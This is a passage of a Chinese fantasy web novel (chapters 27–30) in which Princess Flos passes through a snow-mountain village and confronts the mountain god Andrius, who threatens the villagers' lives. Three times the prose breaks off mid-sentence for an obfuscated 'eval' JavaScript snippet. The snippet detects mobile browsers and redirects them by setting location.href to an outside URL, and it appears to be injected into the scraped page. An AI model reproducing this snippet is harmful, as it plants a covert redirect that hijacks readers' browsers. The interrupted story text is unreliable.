要回王都,没有钱可是寸步难行。 之前是留下了好几车的嫁妆在山下,但……山都被震塌了,她的嫁妆埋在哪儿,哪里还找得到? 她现在剩的,只有这只耳环了。 芙洛丝悲催地意识到,自己成穷光蛋了。 “新娘大人,你好像有什么烦心事?是我们招待得不周吗?” 来给她们收拾床铺的小姑娘紧张不安。 新娘大人,这又是什么鬼称呼?芙洛丝怔愣了一下,才回过神来,僵硬地笑道: “不是因为这样,我……算了。话说回来,我们身无分文,又都受了伤,行踪看起来也很可疑,为什么你们一下就相信了我的身份呢?” 小姑娘睁着对闪亮亮的大眼睛,很快地看了一眼她,又不好意思地移开了视线,“因为你也有很漂亮的黑色头发呀。一直庇护我们的山神大人,头发就是黑色的。听我的祖父说,他是个年轻又气质爽朗的男子,还很高贵,让人看一眼就永远忘不掉……” 她绞着手指,长长的睫毛甜甜地眨着,甜甜地笑着:“我觉得……姐姐你也是那样的人!” 芙洛丝被她逗乐了。 估计小孩子就是单纯喜欢长得好看的人吧,虽然关于安德留斯气质爽朗又高贵这些话,她觉得都是鬼话。只不过是农民们对有着山神后裔之称的安德留斯一族的盲目迷信罢了。 至于安德留斯的庇护?别开玩笑了,安德留斯能为他们做什么。 “玛莎。”小女孩的母亲来了。她是个面色通红,看上去很快乐的女人,端来了一些热汤,“快来帮我搭个手。” 一边忙着,一边略带羞涩地招呼她们:“一点心意,虽然不是很精致的餐食,也请你们不要嫌弃。” “哪里,我很感激。”芙洛丝接过盛着萝卜的浓汤,真诚地道了谢,“实在是很感谢你们,不过,我有一个小小的问题。” 芙洛丝眨了眨眼睛。 “你们,是怎么知道地震什么时候会发生的?你们撤退得很及时,简直就像提前知道这里会发生地震一样。” 芙洛丝有意保持温和,释放善意,但眼神还是不受控制地锐利了一些。 “还有,一般来说,发生了这种程度的地质灾害,之后有二次雪崩或地震的可能性也很大吧?为什么你们笃定危险已经过去一样,都在大半夜跑了回来?嗯?” 她忽然一个箭步蹿上去,撕开了女主人的衣服,“安德留斯,我真的受够你了,你的分身到底有多少个——” 27. 石上火 芙洛丝的表情凝固住了。 因为女人的胸口并没有雪花印记。 “呀啊!”女人大叫一声,急忙将衣襟收拢,这下,她的脸上完完全全是惊慌了。 “你、你你——”突然被扯开衣服是很让人害怕,但眼前的并非流氓,而是一个年龄比她小上一轮的年轻女人。女人脸上一阵红一阵白,想骂也骂不出来。 芙洛丝还在思索,抬眸便看见女人身边的小姑娘也退后了半步。 “别想跑!” 芙洛丝已染上了安德留斯创伤后遗症,自然而然地将这个后退的举动当成了心虚。守在门边的安妮立刻挡住了小姑娘的去路。 “呀啊啊!!” 芙洛丝亲自帮小姑娘扣好了扣子,还帮她重新系了围巾。 但是没用,小姑娘已经哇哇大哭了起来。 “哇啊啊,妈妈,好可怕啊哇啊啊啊啊啊……” 哭声嘹亮,几乎要将房顶掀翻。 碧拉默默地啜饮着萝卜汤,不去看公主殿下丢人至极的一幕。 碧则摇头叹息:“殿下,欺负小孩。” 言简意赅、一阵见血的总结。 “那个,殿下,我是相信你的,你的举动并非草木皆兵,而是非常果断、非常正确的判断,你将潜在的危险完全扼杀在了摇篮之中!” 安妮边这么说着,边掂起脚尖离开了门边,移到整个房间的角落,企图将自己的存在感降到最低。 “所以,不是我弄哭的她啊,不是我安妮·道尔顿,不是我,我只是奉命行事……” 芙洛丝面不改色,还在摸着下巴沉思,“也许这是安德留斯的分身们故意安排的,让两个普通人过来,这样,我就会掉以轻心。” 虽然是这么说,芙洛丝的耳朵尖已经红了起来。 女人已抱着哇哇大哭的小女儿夺门而出,连一句告别的场面话都没说。 芙洛丝红着耳朵继续沉思,“这就是安德留斯对我的考验。他以为我吃了这一堑,就不好意思再去怀疑其他人的身份。不,我可不会因此而怀疑自己的判断。这个村庄也在雪山的范围里,安德留斯在这里安插分身的可能性很大——” 忠厚老实的碧开口了:“殿下,怎么说她们刚刚也对我们表现了莫大的善意,你看,是不是——” 芙洛丝耳朵更红,更置若罔闻,“我看,这个村庄里有阴谋的可能性十分大。碧,你去帮我打探一下。我总感觉刚刚那个女人有话想回答我们。” 碧处事比较成熟,也比较稳重,由她来代替我向那对母女道歉,再合适不过了。 “谨遵您的旨意,我的殿下。” 碧关门的动作一顿,“好的,殿下,我会记着你的意思,向她们道歉的。” 芙洛丝冷傲地“嗯”了一声,她看起来像个杀伐果断的领袖。 “这些日子里遇到的事情太多了,我的脑子都有些乱糟糟的,看来,我需要休息。” 她将手臂枕在桌子上,头往里面一埋,立刻闭上了眼睛。 碧拉笑得十分温婉,“是的呢,精神长时间处于紧绷状态,是会闹出一些笑话来的。殿下,来床上睡吧。” 门开了,冷风呼啸而入,将门吹得嘎嘎乱响。 “殿下,”碧关上门,“我打听到了一些很不寻常的消息。殿下,睡着了吗?” 芙洛丝摇摇头示意自己还醒着。 不过没有抬头。 碧便说了下去。 “这里的村民之所以能在雪灾发生的第一时间撤离,是因为安德留斯提前给了他们预警。我已经去看过了,就在水井那里,结冰的石头上,有火焰写成的文字。殿下,你要去看看吗?” 水井。 这是一口深井,直径还没有一米。围绕着它建了一个小亭子,以防止积雪不停落下,冻住井面。井台四周的石壁光滑莹润,井上的木制辘轳看起来很老旧。安妮掀开了井上的草盖,好奇地往井中看了一眼。 火焰的文字,就写在井台上,很漂亮的花体字,散发出刺目的橙红色光芒。 无论是谁来取水,都能看到这行文字。 芙洛丝凝视着那行文字,“看来这家伙多少有点良心。” “是啊,”碧说,“这里的人们很信赖安德留斯,恐怕不仅是传说的缘故。听他们说,安德留斯庇护着这里的牲畜不被严冬带走,庇护着这里的庄稼不受寒霜打击,庇护着这里的树林不被窃贼盗伐,也庇护住在这里的每一个人,世世代代,从来如此。也许在成为【山神】之前,他已可以说是一名合格的山神了。” 芙洛丝忍不住带了点讥讽,“真的么?他竟然还是个好人?” 安妮摇摇头:“绝无可能。从他说话的方式就可以看出来,他总是隐瞒,总是在算计别人,他对这些村民好,也许有自己的理由,比如说,逼迫这些村民定期给他上供什么的!” 碧微微一笑,拿出了做老师的气派,“也许吧。不管怎么样,这只是他的一面,他作为【山神】的一面,和他作为安德留斯的一面,总是不一样的。在成为【山神】之前,他也有着自己的生活。” 【山神】。安德留斯。 是的,在被那个声音选中之前,每个人都有自己独一无二的过去。作为【身份者】,他们互相残杀;而除去那个【身份】,每个人也只是普通人。 “亲爱的。” 安德留斯的声音浮现在耳旁。 “我已经过了几百年孤独的日子。我不能离开这座雪山。” 紧随其后的,是安德留斯的另一句话: “你的精神崩溃了,这还不够。我要它溃散,碎掉。” 清晨。 芙洛丝打算尽早离开这座雪山,天还没有大亮,便起来了。至于这座村庄里有没有安德留斯的分身,咳,安德留斯的分身也遵循着本体的限制,不能离开雪山。就先放到一边吧。 令她意外的是,村长来了。 “你是安德留斯大人的新娘,对吧?”村长是个憨厚的小老头,乐呵呵地搓着双手,“那么,我想你可以帮我们把我们的诉求传达给安德留斯大人。” 芙洛丝这才知道,路塌了。 这个常住人口约30人的小村庄里,唯一的一条路,也是芙洛丝离开时的必经之路,塌了。 村民们已经集结起来,奋力铲雪,不知道是谁想到了她是山神的新娘,大家一拍脑袋,是呀,我们可以借助山神的力量啊。于是村长便上门来拜访了。 “安德留斯会做这种事吗?”芙洛丝露出一个极不自然的微笑。 她注意到,昨天夜里的那对母女就站在村长后面。 二十步远的后面。 那个小女孩都快躲到树林后面去了,完全是把她当坏人看的戒备眼神。 村长完全弄错了芙洛丝的意思,很是激动:“哎呀,看来你是对安德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428061|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留斯大人的伟力一无所知呀——” 芙洛丝马上打住了他,“我帮你们铲雪,与之对应的,你看,你能不能帮我们弄辆马车?” 村长颇为惊异:“你、你吗?” 在他看来,芙洛丝不过是个肩不能扛、手不能提的年轻姑娘,何况,她看起来还受了不小的伤。 至于山神的新娘怎么会受伤,村庄里有口口相传的传说。 安德留斯一族从来不与凡人联姻,因为他们远远超越了凡人,所以只和自己族里的女性生育后代。而芙洛丝这等凡人之躯想要成为神的伴侣,一定要经过人不能想象的、艰苦卓绝的试炼。 这位漂亮的姑娘一定是在试炼中受伤了! 现在她带着她们的侍女下山,一定是要去接受第二道试炼! 一切都是山神的意思。 山神安德留斯就是那么伟大! 村长犹豫着,“您……您是说,您和您的侍女们要来帮我们铲雪吗?” “不。我的意思是,我一个人就可以帮你们把雪铲完。” 碧适时提醒道:“殿下,容我多嘴一句,你的身体还没有恢复好……” “这又不是什么重活,不碍事。”芙洛丝直接抄起了铁锹。 路过那对母女的时候,芙洛丝特意转过身子,朝她们点头致意:“谢谢你们的招待。我是那种喜欢以行动说话的人。” 翻译一下就是:道歉的话,我说不出口。就用为铲雪修路作为我行动上的歉礼吧。 母女二人并没有理解这番意思,只大为震撼。 行动?什么行动,脱人衣服的行动吗? “妈妈,为什么山神大人要和那样的女人结婚啊,呜……” 芙洛丝不知道,她又一次把小姑娘弄哭了。 碧拉扶着额头:“没眼看,真的没眼看……” 于是,宁静的小村庄里,出现了一个黑发姑娘抄着铁锹狂暴铲雪的景象! 她的力气和速度居然比村里那些打猎的壮小伙子们还要强得多,不一会儿,挡路的积雪就被铲得无影无踪,就连清理起挡路的那些石块、木桩,也不在话下! 长约十米的塌方路段,居然没过十分钟就被她清理了出来。 这一刻,她不仅是山神的新娘,更是凭实力帮助村民们的大善人!大家看她的眼光一下就变了。 村长的眼睛亮得更是像灯泡。 “这、这就是山神大人的新娘吗?果然不是寻常人啊,谢谢你,新娘大人!” “有你这样一位好姑娘来做我们山神大人的新娘,太好了!” “我早就说过,山神大人是不会错的……你们看……” “谢谢你们的夸赞。”芙洛丝拄着铁锹,黑色的长发在风中微微摆动,面色平静。她甚至连大气都没喘一口。 “不过,我不是新娘大人。我是来自王都的芙洛丝·费尔奇尔德,如果要感谢我,请用这个名字来感谢我吧。” “谢谢您,谢谢您,芙洛丝……” “顺便提醒你们一句。” 村民们不由自主被她的语气所震慑,都缄默其口,等着芙洛丝的下一句话。 “信赖能力远超自己的神明,本身就是很危险的事。”那双苍蓝色的眼眸平静而极有耐心,“安德留斯也许给你们提供了很多便利,但他并非你们想象中那样仁慈好施。如果可以的话,以后,还请尽量依靠你们作为人的力量。” 28. 带我走 芙洛丝没弄到马车,但是借到了一头骡子。 安妮按着农人教的方法拽这畜生的绳子,怎么也拽不动,急得满头大汗,这不服管教的畜生还一脸优哉游哉。于是碧拉来帮忙,不过依然没什么用。 “殿下,要不你用用你那神奇的能力,让它听话吧!” 芙洛丝没有动静,安妮又喊了一遍“殿下”,她才回过神来。 她看了一眼那一身粗硬短毛、气味浓烈、不停从大鼻孔里喷出白气的灰毛畜生,果断拒绝。 ……她才不要亲这种东西! 碧拉察觉到她在出神,“殿下,你刚刚是不是在想什么?” “嗯……没什么。” 还以为刚刚露了那一手后,有的人会把她当做怪物来看,没想到大家纷纷欢呼,还为她们送行。芙洛丝这么想着。 是安德留斯新娘这个身份的缘故吗?在这样苦寒而闭塞的环境里,他们对神的虔诚胜过了一切。 那么,也许安德留斯并不是自己看来那般可恶,对于山脚下的这些普通人来说,他还算个好人。 “咳,也许是我们人太多了,它拉不动。”芙洛丝看不下去了,“这样吧,我带一个侍女就好了,碧,跟我走。至于安妮和碧拉,等我们到了下一个城市,会吩咐人来接你们的。” “碧?” 碧抱着自己的胳膊,垂着头,浑身发抖。 雪山。 那个女人的声音又来了。 “主人,我实在是忍不下去了!芙洛丝她们很快就要离开雪山了,一旦她离开这个范围,我和你,就……”女人的声音满是沉痛,“主人,你已经满盘皆输了。我真想不明白,你为什么要甘愿变成芙洛丝的【仆从】,主人,你做了个很糟糕的决定啊! “至于你所说的试炼,难道是指让她看到山下凡人们对你的信仰吗?可……她并没有被此而打动啊。主人,我不明白,求您给我指引,求您给我命令,这是最后的机会了,求您,让我杀了她吧!” 她泣不成声。 她必须要等安德留斯的命令才行动,因为,她很胆小。 只有安德留斯的命令,才能让她鼓起勇气。 然而安德留斯依然没有回应她。 也许他已经死了,也许他已经陷入了芙洛丝的诅咒:承受着痛苦,但是不能思考,也不能行动,落入比死了还可怕的境地。 芙洛丝所乘的那辆简陋的板车已经在路上行驶了,再等下去的话,芙洛丝就要离开雪山了。 “我、我等不下去了!主人,我要动手了,我真的要动手了!”女人说话哆哆嗦嗦,但是痛苦地咆哮了出来。她像下定了某种决心一样。 雨。 雨夹雪,淅淅沥沥地落了下来。 芙洛丝感到诧异,直到刚刚,天空还是万里无云,怎么会一下下起雨夹雪来? 板车就是农人们用来运干草的板车,一股泥土的气味,并没有装车篷,冷雨夹着冷雪打在身上,特别的不舒服。来为她们送行的农人纷纷躲避,不知道是谁,说了这么一句: “这是安德留斯大人在哭泣啊。” 这话居然引起了共鸣。 “是啊,安德留斯大人在伤心。”“不是这样的话,天上是不会下雨的。” 芙洛丝集中注意力,感知安德留斯的状态。 出乎意料,他还剩一口气吊着,没有完全死亡。 这狗东西,生命力居然这么顽强。 “安德留斯,这又是你在搞鬼吗?马上停止这样的行为!”芙洛丝以心声跟他沟通。 狂风倏忽而至,将芙洛丝的头发刮得乱飞,全都打在脸上。 “看啊,这是山神大人发怒了!” “山神大人要是不发怒,是不会有这样的狂风的!” 芙洛丝语气加重,“安德留斯,够了!不准哭,也不准发怒!” “诶,晴了,晴了!” “真是怪了,怎么一下就晴了?” “是呀,这风也一下就停了!” 农人们纳闷着,惊讶地看着天空放晴,太阳再度放出道道金光,村庄又陷入一片和平之中。 “真是奇怪,说下就下,说停就停,难道安德留斯大人想给我们传达什么指示吗?” 这真是……芙洛丝在心底默默吐槽。 这算什么? 临死前的哀嚎?他是小孩子吗? 不过,既然打开了【仆从】们的呼吸网络,芙洛丝便再次和王都的【仆从】确认了一遍信息。 【仆从】会继承原来身体的记忆和思想,但思维会变得迟钝,情绪会变得淡漠,就好像停在了死亡的那一刻一样。她们很难习得新的手艺,或是一门新的语言,对格斗技能倒是了然于胸,而且无畏牺牲,勇往直前。芙洛丝猜这是因为【仆从】天生就被设定用于战斗、保护主人。 所以,【仆从】们能做的事情并不多。再加上事发突然,她必须尽快离开王都,没那份时间去调.教【仆从】,约定用来传信的信号便十分简陋。 现在的信号是,王都的事态依然很糟糕,但是,是稍有缓解,还是更加恶化,就看不出来了。 要是【仆从】们能给她更多的信息就好了。比如出现的【身份者】有何种能力,在王都犯下了什么行径。芙洛丝叹气。 “不过,碧,我感觉你变了一些。” 芙洛丝拍了下碧的肩膀,“你的眼珠子转得更灵活了,情感好像也比之前活跃了一些,是不是?” 就像她的吻激活了【仆从】的身体潜能一样,是不是在雪山目睹兄长身死这件事,激活了碧迟滞不动的情绪? 如果是这样的话,那对她来说,倒是个不小的启发。 “碧?” 碧还在颤抖,就好像她听到或者看到了什么很可怕的事情一样。 芙洛丝皱起眉,“我命令你抬起头,告诉我是什么让你露出了这样的神情。” 碧抬起头。 她脸色苍白,那双不属于她的苍蓝色眼瞳急剧颤动。她好像想说什么,但说不出来。她嘴唇抽搐,额头冒冷汗。 ——“你管这叫满盘皆输?哈哈哈。” 安德留斯的笑声显得既疯狂,又刺耳。他很快就收住了。 “我还没有举棋呢,怎么就输了?要不是你变成了芙洛丝信赖的形象,我早就捏死你了。没用的蠢货,村庄里发生的事情说明,芙洛丝个性极为顽固,不会改变对我的看法。我已经彻底了解了这一点。而接下来要发生的事情则说明,我会按下她高傲的头颅,逼她站到我的身边来。 “吃硬不吃软,是么?我明白了,哼,那就给她一点硬手段瞧瞧好了。” 几乎是同时,两个人听到了安德留斯的声音。 碧听到的是一大段尖利的嘲笑。 芙洛丝听到的只有一句,“带我走”。 “带我走!”安德留斯的声音如地狱的恶鬼一样。 芙洛丝大为震撼,马上就顾不上碧了。 她没听错吧?她居然听到了安德留斯的声音?! 怎么可能?安德留斯明明永远地留在了雪山里,他的声音怎么可能传到自己的耳朵里来? 难道是……心声? 【公主】与【仆从】从来都是单向传递信息:【公主】传递命令给【仆从】,就是这样,怎么可能有【仆从】能给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428062|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传递信息?! “安德留斯,你为什么还活着?你非要这样阴魂不散么?”芙洛丝很不悦,“现在,立刻,去死。我命令你。” 【仆从】的网络上,属于安德留斯呼吸的那个小点闪了一下,熄灭了。 芙洛丝将略显凌乱的长发整理了一下,拍拍粘在头发上的雪花,长舒一口气。 “碧,你到底怎么了?告诉我吧。” “安德留斯……他……”碧结结巴巴开口,嘴巴就像被粘在了一起一样,要脸和脖子一起用力,才说得出下一个字来。 “你刚刚也听到了他说的话,是不是?”芙洛丝注视着她。 芙洛丝的内心远比她所表现出来的要震惊,说她心里掀起了惊涛骇浪也不为过。 为什么会这样? 是因为安德留斯和她同为【身份者】,所以即使他变成了【仆从】,也有一些特殊之处?抑或是……因为安德留斯活着? 安德留斯活着。他的思想和感情都比已死的碧她们活跃,所以,他能发出声音。安德留斯是她的第一个活人【仆从】,他不死,他是活的,他和她们都不一样……所以,他能把心声传递到这边来。 碧还是说不出话。她的脸都涨红了。芙洛丝忽然觉得她的样子有些奇怪,但具体哪里奇怪,她也说不上来。 不过,如果碧能听到安德留斯的声音,那么……碧拉和安妮是不是也能听见? 这想法如电一般在她心中转过。扭头看向碧拉和安妮的时候,她们脸上也是同样的震惊。 难道……真的和她猜想的一样? 不对,不一样—— 她们显然不是为这件事而震惊。 “殿下,快跑!” 身后,已倒塌的那座雪山又发出了“轰”的一声巨响。所有人都被这巨响震了一哆嗦,芙洛丝也是。这山不是早安分下来了吗,怎么又搞出这样的动静?只见那座壮观无比的雪山残骸硬生生地向下移了约三十公分——大地在往下陷! 以此为起点,大地的裂痕像闪电一样袭向众人,一刹那,冰层断裂,土块崩飞,地面上的一切都被裂痕所吞没—— 这样的变故就发生在一眨眼之间,很多人根本来不及反应,有些人倒霉,已经掉进了裂缝之中。房屋、围栏、畜棚……已像被退倒的多米诺骨牌一样倒了个彻底,大地的裂痕如一只死亡之手,贪得无厌地攫取着一切! “跑!快跑!” “快跑啊!” “救命——啊!” 拉着板车的那头骡子这时候一改前态,迈着梯子撒野似地狂奔。不止是它,一切活物,不管是人、畜生还是禽类,都在狂奔。一边狂奔,一边陷落。芙洛丝直接被那骡子颠了下来。 “这头……蠢骡子!”芙洛丝按着擦伤的额头,直接骂了出来。 “安德留斯,”随后滔天的怒火涌上她的心头,“我真的已经受够你了,你,你这个王八蛋!你没完没了了是吗?还有,这些人不是你的信徒吗,你要连他们一起杀?” 说完的一瞬间,她意识到,不对。 安德留斯已经死了。 雪山以及雪山山脚下发生的任何怪事,她都会怪到安德留斯身上去,但是这次,不能怪他。 因为,他死了啊。他不死也不活,做不了任何事。 大地的裂痕蔓延到了芙洛丝脚下,那些裂痕深处,正涌动着某种极黑的不明液体。 什么东西? 仅是看到这东西,芙洛丝就感觉大大的不妙。那种黑色的液体……发出了比死亡更冰冷、邪恶的气息。 该死的。芙洛丝立刻释放了命令:“我命令你醒过来,安德留斯!” 29. 死与生 安德留斯的呼吸再度回归,大地停止了崩裂。 尖叫声、哭声这才爆发出来。烟尘四起,人们惊慌失措。 有的人倒在地上,有的人掉进了裂缝里,但运气很好,手抓住了地面上的什么东西,有的早已丧命,连哭声都没来得及发出。 果然……停下来了。 芙洛丝已经在短短的时间里想明白了这是怎么一回事。安德留斯很特殊,他的【身份】和山绑在一起,他不会真的死亡,正如大地不会死亡一样。而一旦他真的死去,雪山也分会崩离析,雪山下的大地则会跟着下沉。 那么—— “这一切你为什么不早说?嗯?”芙洛丝气急败坏,“早知道这样,你多少应该控制一下波及的范围吧!那些人,难道不是你的信徒吗?” 安德留斯的声音听上去没有一丝笑意。这是他第一次用这样的语气和芙洛丝说话:“没有人能控制自己死亡之后发生的事。而且,我已经尽过我的责任了,如果要指责我的话,芙洛丝,不如先问问你自己,你能问心无愧吗? “你之所以会应约来到雪山,就是因为这里人迹罕至。与其牺牲王都里的民众,不如牺牲雪山的民众,在启程的那一刻,你就做出了这样的选择,不是吗?” 芙洛丝被问得一噎,碧拉和安妮投来担忧和询问的眼神,芙洛丝以手势示意自己没事,让她们去帮着搭救村民。 “所以呢,”她冷声反问,“你想以他们的性命要挟我?” “我成功了吗?”安德留斯漫不经心。 不知道是不是有一会儿没听到他声音的缘故,他听起来很陌生。 “我不接受任何形式的威胁。” “那么,”安德留斯冷冷地道,“就一起留下吧。” “啊!” “又来了!” 大地重新震动起来,地面像波浪一样上下起伏,牲畜、人都被抛了起来,与上次不同,这次,那些裂隙里的纯黑色液体全溅了起来。芙洛丝匍匐在地上,让身体与大地的接触点尽可能地多来保持安全,目光却无法从那些液体上移开。 天杀的,这到底是什么东西?地下自然生成的?还是……因安德留斯之死而出现的污染物? 总感觉不能轻视…… 只见下一秒,那些液体落了下来,落得到处都是。它们落在冰雪上便渗了下去,像一条条黑色的水蛭一样穿过了冰雪;落在地上,便发出黏腻的“啪”的声响。大地还在剧烈晃动,仿佛得了偏头疼一样,那些黑色的液体被源源不断地撒出来,铺向整个地面。 它们既无腐蚀性,也无刺激的气味,看上去就像颜色奇怪了一点儿的地下水。 “芙洛丝,带我走。这是我最后一次请求你。”这远不是请求的语气,与之相反,这是极不客气的、下命令的口吻。 安德留斯居然会用这种语气和她说话,真不敢相信。 “滚,我才不信你真的会去死!”芙洛丝道。 “啊——我的手、我的手——啊啊啊——” 一声惨叫吸引了芙洛丝的视线。 发出惨叫的男子拼命地拽着自己的胳膊,拼命地往外拔。芙洛丝刚开始还以为是他的手被卡住了,但很快发现,不是。 他的手被溶解了。那里的大地并没有开裂,他的手却像水一样被土壤饥渴地吸收了。 “啊啊啊我的手啊——安德留斯大人、救救我……山神大人、救救我……我——” 他身边还有另一个在逃命的小伙子,听到他的号叫犹豫了一下,正准备转身去救他,忽然也凄厉地惨叫出声。 他的脚也被地面吸了下去,他的骨骼、肌肉仿佛不存在一般,整个人以极快的速度消失在了众人的视线中。 “那是什么?” “发生了什么了,安德留斯大人……请您护佑我们……啊啊——” “不要碰那些黑色的液体!”芙洛丝看得很清楚,那个小伙子是回头踩中了一滩黑水,才奇怪地“融化”的。 让人疑惑的是,先前那个手被大地融化的人倒还站着,还在喊什么“安德留斯大人”和“山神大人”。 “啧,最讨厌这些天真的人了!”芙洛丝终究还是过去拉住了他的另一只手,“……真会给人找麻烦!真会让人头大!真是烦死了——” 却不想手掌相触的瞬间,一种无穷的吸力从手掌处涌来! 芙洛丝的手指伸长、扭曲,就像液体一样失去了原本的形状。从那个人身上,传来一股浩大的、几乎可以吸走灵魂的吸力,芙洛丝感觉自己就像一只面对鲸鱼巨口的小虾,完全站不住! “不是、吧……”芙洛丝骂了句很脏的话。 她的手和和那个人的手融化在了一起。两只手就像遇热融化的蜡水,融成了一滩。 甚至……自己的胳臂也有融化的趋势! “救救我、救救我……”那人完全被吓傻了,哆哆嗦嗦的,瞳孔没有一点颜色,“救救我……安德留……斯……大人……” 他的头融进了地面之中,剩下的半边嘴唇还在抽动。 “神啊……救救我……神啊……救。” 这个人知不知道是自己救的他啊?这个时候了,还喊什么安德留斯! 芙洛丝火大无比,再这么下去,那股吸力要把自己也带下去,没时间犹豫了,她抽出长剑,果断斩断了手臂! 男人没了芙洛丝的援助,很快就消失在了地面中。 芙洛丝眉头紧皱,看着自己的手。 早知道,一开始就把那只手臂砍下来了,现在…… 那个人的断手和自己的左手融在一起了!你中有我,我中有你,皮肤黏连着,骨头似乎也连在一起,这种诡异的状态并没有随着那个人的死去而分开。 更诡异的是,手成了这样扭曲的姿态,却一点儿都不疼。 这不是因为芙洛丝对疼痛的忍耐度很高,而是真的一点儿都不疼。 就好像,手臂的生命力被抽掉了,死了一样。 死? “安德留斯,你不准死!”芙洛丝飞快地念道,“无论你现在在承受怎样的痛苦,你都会留在我的身边。当我命令你合上双眼的时候,你才能够安眠;当我给你新的命令,你才能离开我!” 不会错的,这些液体绝对与“死”这个概念有关! 只有安德留斯的“死亡”停止了,这一切才会终结。 那么,可以回复正常了吧? 芙洛丝既惊且惧地看向四周。 大地还在震动! 死亡的黑液还在不断地翻涌上来,融化着大地上的一切生命! 怎么会这样? “安德留斯,安德留斯?”芙洛丝也有些慌了,这不可能,他的生死应该严格遵循自己的命令啊,“你怎么了?为什么这一切还没有停止?你到底……” 安德留斯的呼吸在闪烁。 芙洛丝极力辨认着,安德留斯,他这是、这是在…… 自杀! 这个疯子,芙洛丝真想将他挫骨扬灰! “你知道怎么让自己死得彻底的方法,是不是?你他妈的早不死,晚不死,非要挑这个时候死吗?你知不知道我有很重要的事要去做,我没功夫和你玩了!看看你干的好事,那么多人都因为你的幼稚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428063|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行动死去了,你要杀多少人,你这个疯子,你说,你到底要杀多少人才罢手?!” 原以为安德留斯不会回应她了,没想到,他还有闲心淡淡地反问:“这些人是因我而死的吗?” “你用死亡污染了这片大地,难道不是你亲手杀了他们吗?”芙洛丝怒骂。 “芙洛丝,是你啊。我给了你选择。他们会死,全是因为你见死不救啊。” 这个混蛋居然把过错推到她的身上! “殿下!我们得赶紧走,必须离开这个地方!”碧拉喊道。 碧拉说得没错,安德留斯能影响的范围有限。 稍远处的大地,就是一片和平。 她们能走,但是其余人难以全部撤离。 芙洛丝索性将安德留斯的意思全都告诉了侍女们,他用普通人的性命来要挟她,逼她带他走! “殿下,做出你的选择吧。不管怎样,我相信你的选择。”碧拉搀扶起状态一直很奇怪的碧,说道。 “殿下,我也相信你!”安妮眼神认真。 “不,不……”碧忽然在这个时候仓惶开口,“殿下,你当然要慎重考虑,这些人……这些人的性命也很重要啊!你难道忍心看着他们去死吗?你难道要像杀死我哥哥一样杀死他们吗?” 芙洛丝和剩下两人的视线都看向她。 她打了个寒颤,自知失言,“我的意思、我的意思是,殿下,好好想一想,这个问题很重要。” “救命!妈妈,妈妈——” 一声女童的呼救声传来。 一个女孩,正是她们所借住的那家农舍的女儿,摔倒在了地上。 她嚎啕大哭,四周是宛若沸腾的黑水,随着大地的来会晃荡,很快就要涌向她,将她吞没。 而她的前面,是她正被黑水一点点夺去生命的母亲。 “快走,快走!” 母亲拼命地朝着她挥手,看样子,是她的母亲将她奋力推了出来,她才幸免于难。 “芙洛丝,你的答案呢?”安德留斯的口吻冰冷如恶魔。 芙洛丝深深地、深深地吸了一口气。 又轻轻地、轻轻地呼了出来。 “我的答案依然不变,你别想要挟我。” 安德留斯似乎不意外,“哦,提醒你一句,这些黑液会再度涌入地下,顺着地下的水系,四通八达流向雪山四周。到时候,不只是雪山,附近的城市、邦国都会受影响。芙洛丝,生灵涂炭,这就是你希望看到的吗?你——” “安德留斯,我命令你,我再一次命令你!从现在开始,你不能自杀!你的生命由我掌控。我命令你,不得死,不得生。在你想死或将死的时候,你将依我的命令永生不死。在你想生或将生的时候,你将依我的命令陷入无尽的长眠。” “安德留斯,”芙洛丝从来没有这么快地说过话,因为她每慢上一秒,便可能有一条无辜的性命丧生,“我命令你!” 她曾经以命令的形式赐给安德留斯死,却招来了地底死亡的黑波。 她曾经以命令的形式赐给安德留斯生,却被安德留斯自杀的行动所阻碍。 现在,她命令安德留斯既不能生,也不能死。 如此强大的命令,脱口而出的一瞬间,芙洛丝感觉自己的整个灵魂都在震颤不已。 这种命令已经远远地超越了生死,是对生命的纯粹玩弄,而她玩弄的还是等价于大地、高山乃至于神明的生命。这样的命令,能够奏效吗? 这样,能够阻止安德留斯的行动吗? …… 四周,好像静了。 成功了? 30. 祸无独 “妈妈,妈妈……”小女孩的哭声让人心碎。 黄金一样辉煌的阳光下,她母亲的肩膀陷在大地里。雪埋到了锁骨的位置。因为承受着难以忍受的痛苦,这个女人脸上都是汗水,苍白的额头上则是一条又一条的青筋。 “玛莎,快走!走呀!” 她的肩膀很快被大地吸收,接下来就是脖子。要是脖子陷入大地,按照人体构造,她绝无生还的可能。 可是,她反而笑了。她颤抖着,朝自己的女儿扯出一个明亮的微笑。 “玛莎,要好好活下去……” “妈妈!” 